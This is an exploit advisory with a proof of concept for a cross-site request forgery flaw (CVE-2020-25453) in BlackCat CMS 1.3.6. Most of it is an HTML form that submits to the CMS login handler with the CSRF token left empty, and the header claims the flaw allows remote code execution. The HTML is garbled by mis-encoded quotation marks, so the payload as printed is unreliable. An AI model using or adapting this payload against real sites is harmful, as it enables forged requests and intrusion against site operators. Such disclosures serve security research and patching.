# Exploit Title: BlackCat CMS 1.3.6 - Cross-Site Request Forgery
# Date: 2020-06-01
# Exploit Author: Noth
# Vendor Homepage: https://github.com/BlackCatDevelopment/BlackCatCMS
# Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
# Version: v1.3.6
# CVE : CVE-2020-25453
BlackCat CMS v1.3.6 has a CSRF vulnerability (bypass csrf_token) that
allows remote arbitrary code execution .
PoC (Remove the csrf_token value) :
<input type=“hidden†name=“__csrf_magic†value=“â€/>
-------------------------------------------------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“
http://127.0.0.1/blackcatcms-release-1.3/backend/login/ajax_index.php
â€method=“POSTâ€>
<input type=“hidden†name=“__csrf_magic†value=“â€/>
<input type=“hidden†name=“username_fieldnameâ€
value=“username_274807982ed4â€/>
<input type=“hidden†name=“password_fieldnameâ€
value=“password_75868428f837â€/>
<input type=“hidden†name=“_cat_ajax†value=“1â€/>
<input type=“hidden†name=“username_274807982ed4†value=“accountnameâ€/>
<input type=“hidden†name=“password_75868428f837†value=“yourpasswordâ€/>
<input type=“submit†value=“Submit requestâ€/>
</form>
</body>
</html>